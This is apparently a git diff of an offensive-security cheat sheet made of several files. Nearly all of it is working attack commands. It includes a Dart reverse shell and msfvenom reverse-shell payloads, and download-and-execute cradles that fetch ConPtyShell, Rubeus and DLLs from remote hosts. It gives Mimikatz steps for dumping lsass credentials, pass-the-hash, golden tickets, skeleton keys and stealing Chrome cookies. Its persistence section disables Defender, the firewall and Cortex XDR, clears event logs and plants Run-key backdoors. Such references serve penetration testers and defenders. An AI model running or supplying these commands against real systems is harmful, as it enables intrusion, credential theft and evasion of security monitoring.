import 'dart:convert';
|
||||
|
||||
main() {
|
||||
Socket.connect("10.0.0.1", 4242).then((socket) {
|
||||
socket.listen((data) {
|
||||
Process.start('powershell.exe', []).then((Process process) {
|
||||
process.stdin.writeln(new String.fromCharCodes(data).trim());
|
||||
process.stdout
|
||||
.transform(utf8.decoder)
|
||||
.listen((output) { socket.write(output); });
|
||||
});
|
||||
},
|
||||
onDone: () {
|
||||
socket.destroy();
|
||||
});
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
## Meterpreter Shell
|
||||
|
||||
### Windows Staged reverse TCP
|
||||
|
||||
```powershell
|
||||
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f exe > reverse.exe
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
|
||||
```
|
||||
|
||||
### Windows Stageless reverse TCP
|
||||
|
||||
```powershell
|
||||
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f exe > reverse.exe
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
|
||||
```
|
||||
|
||||
### Linux Staged reverse TCP
|
||||
|
||||
```powershell
|
||||
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f elf >reverse.elf
|
||||
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
|
||||
```
|
||||
|
||||
### Linux Stageless reverse TCP
|
||||
|
||||
```powershell
|
||||
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f elf >reverse.elf
|
||||
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
|
||||
```
|
||||
|
||||
### Other platforms
|
||||
|
||||
```powershell
|
||||
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf
|
||||
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe
|
||||
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho
|
||||
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp
|
||||
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp
|
||||
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war
|
||||
$ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py
|
||||
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh
|
||||
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl
|
||||
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
|
||||
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf
|
||||
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe
|
||||
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
|
||||
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp
|
||||
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
|
||||
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
|
||||
$ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
|
||||
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
|
||||
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
|
||||
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
|
||||
```
|
||||
|
||||
## Spawn TTY Shell
|
||||
@@ -294,7 +486,11 @@ $ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw
|
||||
In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`.
|
||||
|
||||
```powershell
|
||||
rlwrap nc localhost 80
|
||||
rlwrap nc 10.0.0.1 4242
|
||||
|
||||
rlwrap -r -f . nc 10.0.0.1 4242
|
||||
-f . will make rlwrap use the current history file as a completion word list.
|
||||
-r Put all words seen on in- and output on the completion list.
|
||||
```
|
||||
|
||||
Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
|
||||
@@ -330,14 +526,53 @@ Spawn a TTY shell from an interpreter
|
||||
|
||||
```powershell
|
||||
/bin/sh -i
|
||||
python -c 'import pty; pty.spawn("/bin/sh")'
|
||||
python3 -c 'import pty; pty.spawn("/bin/sh")'
|
||||
python3 -c "__import__('pty').spawn('/bin/bash')"
|
||||
python3 -c "__import__('subprocess').call(['/bin/bash'])"
|
||||
perl -e 'exec "/bin/sh";'
|
||||
perl: exec "/bin/sh";
|
||||
perl -e 'print `/bin/bash`'
|
||||
ruby: exec "/bin/sh"
|
||||
lua: os.execute('/bin/sh')
|
||||
```
|
||||
|
||||
- vi: `:!bash`
|
||||
- vi: `:set shell=/bin/bash:shell`
|
||||
- nmap: `!sh`
|
||||
- mysql: `! bash`
|
||||
|
||||
Alternative TTY method
|
||||
|
||||
```
|
||||
www-data@debian:/dev/shm$ su - user
|
||||
su: must be run from a terminal
|
||||
|
||||
www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
|
||||
www-data@debian:/dev/shm$ su - user
|
||||
Password: P4ssW0rD
|
||||
|
||||
user@debian:~$
|
||||
```
|
||||
|
||||
## Fully interactive reverse shell on Windows
|
||||
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.
|
||||
|
||||
**ConPtyShell uses the function [CreatePseudoConsole()](https://docs.microsoft.com/en-us/windows/console/createpseudoconsole). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).**
|
||||
|
||||
|
||||
Server Side:
|
||||
|
||||
```
|
||||
stty raw -echo; (stty size; cat) | nc -lvnp 3001
|
||||
```
|
||||
|
||||
Client Side:
|
||||
|
||||
```
|
||||
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
|
||||
```
|
||||
|
||||
Offline version of the ps1 available at --> https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -9,6 +9,7 @@
|
||||
* EyeWitness
|
||||
* Sublist3r
|
||||
* Subfinder
|
||||
* Findomain
|
||||
* Aquatone (Ruby and Go versions)
|
||||
* AltDNS
|
||||
* MassDNS
|
||||
@@ -86,6 +87,17 @@ go get github.com/subfinder/subfinder
|
||||
./Subfinder/subfinder -d example.com -o /tmp/results_subfinder.txt
|
||||
```
|
||||
|
||||
### Using Findomain
|
||||
|
||||
```powershell
|
||||
$ wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-linux
|
||||
$ chmod +x findomain-linux
|
||||
$ findomain_spyse_token="YourAccessToken"
|
||||
$ findomain_virustotal_token="YourAccessToken"
|
||||
$ findomain_fb_token="YourAccessToken"
|
||||
$ ./findomain-linux -t example.com -o
|
||||
```
|
||||
|
||||
### Using Aquatone - old version (Ruby)
|
||||
|
||||
```powershell
|
||||
@@ -166,7 +178,7 @@ go get github.com/anshumanbh/tko-subs
|
||||
|
||||
```bash
|
||||
git clone https://github.com/nahamsec/HostileSubBruteforcer
|
||||
chmox +x sub_brute.rb
|
||||
chmod +x sub_brute.rb
|
||||
./sub_brute.rb
|
||||
```
|
||||
|
||||
|
||||
746
Methodology and Resources/Windows - AMSI Bypass.md
Normal file
@@ -12,6 +12,22 @@ From an HTTP server
|
||||
|
||||
```powershell
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
|
||||
|
||||
# Download only
|
||||
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")
|
||||
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
|
||||
|
||||
# Download and run Rubeus, with arguments
|
||||
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/Rubeus.exe')
|
||||
$assem = [System.Reflection.Assembly]::Load($data)
|
||||
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
|
||||
|
||||
# Execute a specific method from an assembly
|
||||
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')
|
||||
$assem = [System.Reflection.Assembly]::Load($data)
|
||||
$class = $assem.GetType("ClassLibrary1.Class1")
|
||||
$method = $class.GetMethod("runner")
|
||||
$method.Invoke(0, $null)
|
||||
```
|
||||
|
||||
From a Webdav server
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
# Windows - Mimikatz
|
||||
|
||||
## Summary
|
||||
|
||||
* [Mimikatz - Execute commands](#mimikatz---execute-commands)
|
||||
* [Mimikatz - Extract passwords](#mimikatz---extract-passwords)
|
||||
* [Mimikatz - LSA Protection Workaround](#mimikatz---lsa-protection-workaround)
|
||||
* [Mimikatz - Mini Dump](#mimikatz---mini-dump)
|
||||
* [Mimikatz - Pass The Hash](#mimikatz---pass-the-hash)
|
||||
* [Mimikatz - Golden ticket](#mimikatz---golden-ticket)
|
||||
* [Mimikatz - Skeleton key](#mimikatz---skeleton-key)
|
||||
* [Mimikatz - RDP session takeover](#mimikatz---rdp-session-takeover)
|
||||
* [Mimikatz - Credential Manager & DPAPI](#mimikatz---credential-manager--dpapi)
|
||||
* [Chrome Cookies & Credential](#chrome-cookies--credential)
|
||||
* [Task Scheduled credentials](#task-scheduled-credentials)
|
||||
* [Vault](#vault)
|
||||
* [Mimikatz - Commands list](#mimikatz---commands-list)
|
||||
* [Mimikatz - Powershell version](#mimikatz---powershell-version)
|
||||
* [References](#references)
|
||||
|
||||

|
||||
|
||||
## Mimikatz - Execute commands
|
||||
@@ -15,28 +33,106 @@ Mimikatz console (multiple commands)
|
||||
```powershell
|
||||
PS C:\temp\mimikatz> .\mimikatz
|
||||
mimikatz # privilege::debug
|
||||
mimikatz # log
|
||||
mimikatz # sekurlsa::logonpasswords
|
||||
mimikatz # sekurlsa::wdigest
|
||||
```
|
||||
|
||||
## Mimikatz - Extract passwords
|
||||
|
||||
> Microsoft disabled lsass clear text storage since Win8.1 / 2012R2+. It was backported (KB2871997) as a reg key on Win7 / 8 / 2008R2 / 2012 but clear text is still enabled.
|
||||
|
||||
```powershell
|
||||
mimikatz_command -f sekurlsa::logonPasswords full
|
||||
mimikatz_command -f sekurlsa::wdigest
|
||||
|
||||
# to re-enable wdigest in Windows Server 2012+
|
||||
# in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
|
||||
# create a DWORD 'UseLogonCredential' with the value 1.
|
||||
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1
|
||||
```
|
||||
|
||||
:warning: To take effect, conditions are required :
|
||||
- Win7 / 2008R2 / 8 / 2012 / 8.1 / 2012R2:
|
||||
* Adding requires lock
|
||||
* Removing requires signout
|
||||
- Win10:
|
||||
* Adding requires signout
|
||||
* Removing requires signout
|
||||
- Win2016:
|
||||
* Adding requires lock
|
||||
* Removing requires reboot
|
||||
|
||||
## Mimikatz - LSA Protection Workaround
|
||||
|
||||
- LSA as a Protected Process (RunAsPPL)
|
||||
```powershell
|
||||
# Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
|
||||
|
||||
# Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
|
||||
# Now lets import the mimidriver.sys to the system
|
||||
mimikatz # !+
|
||||
|
||||
# Now lets remove the protection flags from lsass.exe process
|
||||
mimikatz # !processprotect /process:lsass.exe /remove
|
||||
|
||||
# Finally run the logonpasswords function to dump lsass
|
||||
mimikatz # privilege::debug
|
||||
mimikatz # token::elevate
|
||||
mimikatz # sekurlsa::logonpasswords
|
||||
|
||||
# Now lets re-add the protection flags to the lsass.exe process
|
||||
mimikatz # !processprotect /process:lsass.exe
|
||||
|
||||
# Unload the service created
|
||||
mimikatz # !-
|
||||
|
||||
|
||||
# https://github.com/itm4n/PPLdump
|
||||
PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>
|
||||
PPLdump.exe lsass.exe lsass.dmp
|
||||
PPLdump.exe -v 720 out.dmp
|
||||
```
|
||||
|
||||
- LSA is running as virtualized process (LSAISO) by **Credential Guard**
|
||||
```powershell
|
||||
# Check if a process called lsaiso.exe exists on the running processes
|
||||
tasklist |findstr lsaiso
|
||||
|
||||
# Lets inject our own malicious Security Support Provider into memory
|
||||
# require mimilib.dll in the same folder
|
||||
mimikatz # misc::memssp
|
||||
|
||||
# Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
|
||||
```
|
||||
|
||||
|
||||
## Mimikatz - Mini Dump
|
||||
|
||||
Dump the lsass process.
|
||||
Dump the lsass process with `procdump`
|
||||
|
||||
> Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that.
|
||||
|
||||
```powershell
|
||||
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
|
||||
# HTTP method - using the default way
|
||||
certutil -urlcache -split -f http://live.sysinternals.com/procdump.exe C:\Users\Public\procdump.exe
|
||||
C:\Users\Public\procdump.exe -accepteula -ma lsass.exe lsass.dmp
|
||||
|
||||
# SMB method - using the pid
|
||||
net use Z: https://live.sysinternals.com
|
||||
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
|
||||
tasklist /fi "imagename eq lsass.exe" # Find lsass's pid
|
||||
Z:\procdump.exe -accepteula -ma $lsass_pid lsass.dmp
|
||||
```
|
||||
|
||||
Dump the lsass process with `rundll32`
|
||||
|
||||
```powershell
|
||||
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full
|
||||
```
|
||||
|
||||
|
||||
|
||||
Then load it inside Mimikatz.
|
||||
|
||||
```powershell
|
||||
@@ -45,7 +141,13 @@ Switch to minidump
|
||||
mimikatz # sekurlsa::logonPasswords
|
||||
```
|
||||
|
||||
## Mimikatz Golden ticket
|
||||
## Mimikatz - Pass The Hash
|
||||
|
||||
```powershell
|
||||
mimikatz # sekurlsa::pth /user:SCCM$ /domain:IDENTITY /ntlm:e722dfcd077a2b0bbe154a1b42872f4e /run:powershell
|
||||
```
|
||||
|
||||
## Mimikatz - Golden ticket
|
||||
|
||||
```powershell
|
||||
.\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
|
||||
@@ -55,7 +157,7 @@ mimikatz # sekurlsa::logonPasswords
|
||||
.\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit
|
||||
```
|
||||
|
||||
## Mimikatz Skeleton key
|
||||
## Mimikatz - Skeleton key
|
||||
|
||||
```powershell
|
||||
privilege::debug
|
||||
@@ -66,7 +168,75 @@ net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz
|
||||
rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab
|
||||
```
|
||||
|
||||
## Mimikatz commands
|
||||
## Mimikatz - RDP session takeover
|
||||
|
||||
Use `ts::multirdp` to patch the RDP service to allow more than two users.
|
||||
|
||||
Run tscon.exe as the SYSTEM user, you can connect to any session without a password.
|
||||
|
||||
```powershell
|
||||
privilege::debug
|
||||
token::elevate
|
||||
ts::remote /id:2
|
||||
```
|
||||
|
||||
```powershell
|
||||
# get the Session ID you want to hijack
|
||||
query user
|
||||
create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
|
||||
net start sesshijack
|
||||
```
|
||||
|
||||
|
||||
## Mimikatz - Credential Manager & DPAPI
|
||||
|
||||
```powershell
|
||||
# check the folder to find credentials
|
||||
dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\*
|
||||
|
||||
# check the file with mimikatz
|
||||
$ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
|
||||
|
||||
# find master key
|
||||
$ mimikatz !sekurlsa::dpapi
|
||||
|
||||
# use master key
|
||||
$ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
|
||||
```
|
||||
|
||||
### Chrome Cookies & Credential
|
||||
|
||||
```powershell
|
||||
# Saved Cookies
|
||||
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect
|
||||
dpapi::chrome /in:"C:\Users\kbell\AppData\Local\Google\Chrome\User Data\Default\Cookies" /masterkey:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b
|
||||
|
||||
# Saved Credential in Chrome
|
||||
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
|
||||
```
|
||||
|
||||
### Task Scheduled credentials
|
||||
|
||||
```powershell
|
||||
mimikatz(commandline) # vault::cred /patch
|
||||
TargetName : Domain:batch=TaskScheduler:Task:{CF3ABC3E-4B17-ABCD-0003-A1BA192CDD0B} / <NULL>
|
||||
UserName : DOMAIN\user
|
||||
Comment : <NULL>
|
||||
Type : 2 - domain_password
|
||||
Persist : 2 - local_machine
|
||||
Flags : 00004004
|
||||
Credential : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
Attributes : 0
|
||||
```
|
||||
|
||||
### Vault
|
||||
|
||||
```powershell
|
||||
vault::cred /in:C:\Users\demo\AppData\Local\Microsoft\Vault\"
|
||||
```
|
||||
|
||||
|
||||
## Mimikatz - Commands list
|
||||
|
||||
| Command |Definition|
|
||||
|:----------------:|:---------------|
|
||||
@@ -93,14 +263,14 @@ rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab
|
||||
|TOKEN::Elevate | impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box|
|
||||
|TOKEN::Elevate /domainadmin | impersonate a token with Domain Admin credentials.
|
||||
|
||||
## Powershell Mimikatz
|
||||
## Mimikatz - Powershell version
|
||||
|
||||
Mimikatz in memory (no binary on disk) with :
|
||||
|
||||
- [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1) from PowerShellEmpire
|
||||
- [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1) from PowerSploit
|
||||
|
||||
More informations can be grabbed from the Memory with :
|
||||
More information can be grabbed from the Memory with :
|
||||
|
||||
- [Invoke-Mimikittenz](https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1)
|
||||
|
||||
@@ -108,3 +278,4 @@ More informations can be grabbed from the Memory with :
|
||||
|
||||
- [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821)
|
||||
- [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/)
|
||||
- [Reversing Wdigest configuration in Windows Server 2012 R2 and Windows Server 2016 - 5TH DECEMBER 2017 - ACOUCH](https://www.adamcouch.co.uk/reversing-wdigest-configuration-in-windows-server-2012-r2-and-windows-server-2016/)
|
||||
|
||||
@@ -1,8 +1,157 @@
|
||||
# Windows - Persistence
|
||||
|
||||
## Userland
|
||||
## Summary
|
||||
|
||||
### Registry
|
||||
* [Tools](#tools)
|
||||
* [Hide Your Binary](#hide-your-binary)
|
||||
* [Disable Antivirus and Security](#disable-antivirus-and-security)
|
||||
* [Antivirus Removal](#antivirus-removal)
|
||||
* [Disable Windows Defender](#disable-windows-defender)
|
||||
* [Disable Windows Firewall](#disable-windows-firewall)
|
||||
* [Clear System and Security Logs](#clear-system-and-security-logs)
|
||||
* [Simple User](#simple-user)
|
||||
* [Registry HKCU](#registry-hkcu)
|
||||
* [Startup](#startup)
|
||||
* [Scheduled Tasks User](#scheduled-tasks-user)
|
||||
* [BITS Jobs](#bits-jobs)
|
||||
* [Serviceland](#serviceland)
|
||||
* [IIS](#iis)
|
||||
* [Windows Service](#windows-service)
|
||||
* [Elevated](#elevated)
|
||||
* [Registry HKLM](#registry-hklm)
|
||||
* [Winlogon Helper DLL](#)
|
||||
* [GlobalFlag](#)
|
||||
* [Startup Elevated](#startup-elevated)
|
||||
* [Services Elevated](#services-elevated)
|
||||
* [Scheduled Tasks Elevated](#scheduled-tasks-elevated)
|
||||
* [Binary Replacement](#binary-replacement)
|
||||
* [Binary Replacement on Windows XP+](#binary-replacement-on-windows-xp)
|
||||
* [Binary Replacement on Windows 10+](#binary-replacement-on-windows-10)
|
||||
* [RDP Backdoor](#rdp-backdoor)
|
||||
* [utilman.exe](#utilman.exe)
|
||||
* [sethc.exe](#sethc.exe)
|
||||
* [Remote Desktop Services Shadowing](#remote-desktop-services-shadowing)
|
||||
* [Skeleton Key](#skeleton-key)
|
||||
* [Virtual Machines](#virtual-machines)
|
||||
* [Domain](#domain)
|
||||
* [Golden Certificate](#golden-certificate)
|
||||
* [Golden Ticket](#golden-ticket)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## Tools
|
||||
|
||||
- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
|
||||
|
||||
## Hide Your Binary
|
||||
|
||||
> Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.
|
||||
|
||||
```ps1
|
||||
PS> attrib +h mimikatz.exe
|
||||
```
|
||||
|
||||
## Disable Antivirus and Security
|
||||
|
||||
### Antivirus Removal
|
||||
|
||||
* [Sophos Removal Tool.ps1](https://github.com/ayeskatalas/Sophos-Removal-Tool/)
|
||||
* [Symantec CleanWipe](https://knowledge.broadcom.com/external/article/178870/download-the-cleanwipe-removal-tool-to-u.html)
|
||||
* [Elastic EDR/Security](https://www.elastic.co/guide/en/fleet/current/uninstall-elastic-agent.html)
|
||||
```ps1
|
||||
cd "C:\Program Files\Elastic\Agent\"
|
||||
PS C:\Program Files\Elastic\Agent> .\elastic-agent.exe uninstall
|
||||
Elastic Agent will be uninstalled from your system at C:\Program Files\Elastic\Agent. Do you want to continue? [Y/n]:Y
|
||||
Elastic Agent has been uninstalled.
|
||||
```
|
||||
* [Cortex XDR](https://mrd0x.com/cortex-xdr-analysis-and-bypass/)
|
||||
```ps1
|
||||
# Global uninstall password: Password1
|
||||
Password hash is located in C:\ProgramData\Cyvera\LocalSystem\Persistence\agent_settings.db
|
||||
Look for PasswordHash, PasswordSalt or password, salt strings.
|
||||
|
||||
# Disable Cortex: Change the DLL to a random value, then REBOOT
|
||||
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CryptSvc\Parameters /t REG_EXPAND_SZ /v ServiceDll /d nothing.dll /f
|
||||
|
||||
# Disables the agent on startup (requires reboot to work)
|
||||
cytool.exe startup disable
|
||||
|
||||
# Disables protection on Cortex XDR files, processes, registry and services
|
||||
cytool.exe protect disable
|
||||
|
||||
# Disables Cortex XDR (Even with tamper protection enabled)
|
||||
cytool.exe runtime disable
|
||||
|
||||
# Disables event collection
|
||||
cytool.exe event_collection disable
|
||||
```
|
||||
|
||||
### Disable Windows Defender
|
||||
|
||||
```powershell
|
||||
# Disable Defender
|
||||
sc config WinDefend start= disabled
|
||||
sc stop WinDefend
|
||||
Set-MpPreference -DisableRealtimeMonitoring $true
|
||||
|
||||
## Exclude a process / location
|
||||
Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
|
||||
Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
|
||||
Add-MpPreference -ExclusionPath C:\Video, C:\install
|
||||
|
||||
# Disable scanning all downloaded files and attachments, disable AMSI (reactive)
|
||||
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
|
||||
PS C:\> Set-MpPreference -DisableIOAVProtection $true
|
||||
# Disable AMSI (set to 0 to enable)
|
||||
PS C:\> Set-MpPreference -DisableScriptScanning 1
|
||||
|
||||
# Blind ETW Windows Defender: zero out registry values corresponding to its ETW sessions
|
||||
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
|
||||
|
||||
# Wipe currently stored definitions
|
||||
# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
|
||||
MpCmdRun.exe -RemoveDefinitions -All
|
||||
|
||||
# Remove signatures (if Internet connection is present, they will be downloaded again):
|
||||
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
|
||||
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
|
||||
|
||||
# Disable Windows Defender Security Center
|
||||
reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
|
||||
|
||||
# Disable Real Time Protection
|
||||
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
|
||||
```
|
||||
|
||||
|
||||
### Disable Windows Firewall
|
||||
|
||||
```powershell
|
||||
Netsh Advfirewall show allprofiles
|
||||
NetSh Advfirewall set allprofiles state off
|
||||
|
||||
# ip whitelisting
|
||||
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
|
||||
```
|
||||
|
||||
### Clear System and Security Logs
|
||||
|
||||
```powershell
|
||||
cmd.exe /c wevtutil.exe cl System
|
||||
cmd.exe /c wevtutil.exe cl Security
|
||||
```
|
||||
|
||||
## Simple User
|
||||
|
||||
Set a file as hidden
|
||||
|
||||
```powershell
|
||||
attrib +h c:\autoexec.bat
|
||||
```
|
||||
|
||||
### Registry HKCU
|
||||
|
||||
Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
|
||||
|
||||
@@ -11,6 +160,23 @@ Value name: Backdoor
|
||||
Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
|
||||
```
|
||||
|
||||
Using the command line
|
||||
|
||||
```powershell
|
||||
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
|
||||
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
|
||||
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
|
||||
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
|
||||
```
|
||||
|
||||
Using SharPersist
|
||||
|
||||
```powershell
|
||||
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
|
||||
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
|
||||
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
|
||||
```
|
||||
|
||||
### Startup
|
||||
|
||||
Create a batch script in the user startup folder.
|
||||
